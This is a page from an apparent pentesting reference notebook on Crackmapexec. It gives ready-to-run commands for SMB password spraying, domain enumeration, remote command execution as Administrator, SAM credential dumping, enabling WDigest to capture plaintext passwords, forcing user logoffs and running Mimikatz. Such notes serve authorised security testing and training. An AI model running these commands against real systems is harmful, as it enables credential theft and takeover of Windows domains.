Particle42
  • 🔬Network Enumeration
    • NMAP
    • TCPdump
  • 🔭Website Enumeration
    • Passive Information Gathering
    • Subdomain Enumeration
  • 🖥️Web Application
    • URL & App Scan
    • Subdomain/Vhost Fuzz
    • Login Hack
    • Cross Site Scripting
    • Directory Traversal
    • Local File Inclusion
    • Remote File Inclusion
    • PHP Wrappers
    • SQL Injection
      • Bypass Authentication
      • Database Enumeration
      • Code Execution Via Injection
      • SQL Injection Tools
      • Other Resources
    • NOSQL Injection
      • Bypass Authentication
    • WordPress Scanner
    • Hints & Easter Eggs
  • 🎣Phishing
    • Client Info Gathering
    • HTA
    • Word Macros
    • Windows Library Files
  • 🪟Windows
    • Enumeration & PE Quick Ref
    • Enumeration
      • Users
      • Powershell History
      • System Details
      • Applications & Services
      • Files & Filesystems
      • Cached Creds
    • Windows PE
      • Windows PE Checklist
      • Service Binary Hijacking
      • Important Files
      • Service DLL Hijacking
      • Unquoted Service Paths
      • Other PE Methods
      • Finding PE Vulns
      • SeImpersonatePrivilege
      • Bypassuac using Bypassuac.exe
      • Bypassuac using eventviewer.exe
      • Rasta Watson
    • Windows Remote Access
  • 📂Active Directory
    • About
    • Important Definitions
    • Exploitation Methodology
    • AD Kerberos
      • Invoke-Kerberoast - Shortcut
    • Domain Recon
      • Auto Recon
    • AD Authentication Attacks
      • Password Guessing
      • Creating & Cracking TGS
      • Kerberoasting
    • Lateral Movement
      • Pass the Hash
      • Overpass the Hash
      • Pass the Ticket
      • Distributed Component Object Model
      • Golden Ticket
      • Shadow Copy
      • Domain Controller Sync
      • Windows Management Instrumentation
      • PowerShell Remoting
    • All Commands, Tools & Scripts
      • Using Crackmapexec
      • Using Powerview
      • Important Scripts & Links
  • 🍺Buffer Over Flow
    • Finding EIP Position
    • Eliminating Bad Characters
    • Finding Return Address
    • Payload for BOF
  • 🐧Linux
    • Enumeration
      • Users
      • Encrypted Files
      • System Info
      • Files & Filesystems
      • Applications & Services
    • Attack Vectors
      • Authorised Keys
    • Linux PE
      • Enumeration Commands
      • Finding PE Vulns
      • Check Sudo List
      • Add User to Passwd File
      • SUIDs
      • Tasks with Wildcard
      • Dirty Cow
      • DirtyPipe
      • Insecure File Permissions
      • Enumerating Processes
    • Quick Commands
  • Services
    • SMB
      • Find Server Version
      • Directory Traversal using Symlink
      • Enable Passwordless SMB Access
    • MSSQL
    • MYSQL
    • PHPLiteAdmin
    • SSH
      • Limited Keys Issue
    • SMTP
      • Sending Email
    • Webdav
    • DNS
      • DNS Recon
  • ↗️Pivoting
    • Bringing Internet Access
    • Port Forwarding
      • Local Port Forwarding
      • Remote Port Forwarding
      • Dynamic Port Forwarding
    • HTTP Tunnel-ing
    • DNS Tunneling
    • Chisel
    • Ligolo-NG
  • 🔑Passwords
    • Wordlist Generation
    • HTTP Applications
    • OS Login
    • Password Cracking
      • Using Hashes Directly
      • Cracking Hashes
    • SAM & System
  • 🛠️Practical Tools
    • Remote Shell
      • Alternate Reverse Shells
      • Move to Interactive Shell
    • File Transfers
      • Quick Webservers
    • CURL
    • Payloads
      • MSFVenom
      • Veil Framework
    • Crafty Executable
    • Metasploit
      • Discovery
    • IMPACKET
      • MSSQL-Client
    • Clever Alternatives
  • 🚀Privilege Escalation
    • General Info
  • ⚡Resources
    • Exploits
Powered by GitBook
On this page

Was this helpful?

  1. Active Directory
  2. All Commands, Tools & Scripts

Using Crackmapexec

Crackmapexec is a one-stop tool for pentesting Windows and Active Directory. It contains all the tools and commands explained in the previous section and more. Some of the things that the tools is capable of doing are enumerating SMB shares, users and groups, spraying passwords, auto-injecting Mimikatz/shellcode/DLL into memory, etc.

Username & Password Spraying

Crackmapexec can be used to guess the username and password to an SMB service,

crackmapexec smb 192.168.1.10 -u username.txt -p password.txt
Enumerating SMB Info

Various information can be enumerated from the SMB service such as the users, groups, shares, etc.

crackmapexec smb 192.168.1.10 -u 'user' -p 'PASS' --users

#Substitute the parameter with any of the following to fetch the respective info,
--groups --local-users --rid-brute "--local-auth --shares" --sessions --lusers --pass-pol
Remote Code Execution (RCE)
#Through CMD Prompt
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x 'whoami' 

#Through SMB Exec
crackmapexec smb 192.168.215.104 -u 'Administrator' -p 'PASS' -x 'net user Administrator /domain' --exec-method smbexec

#Through Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X 'whoami'
Enumerating Credentials
crackmapexec smb 192.168.1.10 -u 'Administrator' -p 'PASS' --local-auth --sam

You can enable wdigest on the system and get the plain password using the following command,

crackmapexec smb 192.168.1.10 -u 'Administrator' -p 'PASS' --local-auth --wdigest enable

In order to get wdigest active the user has to logout and login back, which can be forced by the following command,

crackmapexec smb 192.168.1.10 -u 'Administrator' -p 'PASS' -x 'quser'
crackmapexec smb 192.168.1.10 -u 'Administrator' -p 'PASS' -x 'logoff <sessionid>'
Using Mimikatz
crackmapexec smb 192.168.1.10 -u 'Administrator' -p 'PASS' --local-auth -M mimikatz
crackmapexec smb 192.168.1.10 -u 'Administrator' -p 'PASS' -M mimikatz
crackmapexec smb 192.168.1.10 -u Administrator -p 'P@ssw0rd' -M mimikatz -o COMMAND='privilege::debug'

Useful Links

PreviousAll Commands, Tools & ScriptsNextUsing Powerview

Last updated 1 year ago

Was this helpful?

📂
https://stealthbits.com/blog/20170725lateral-movement-with-crackmapexec/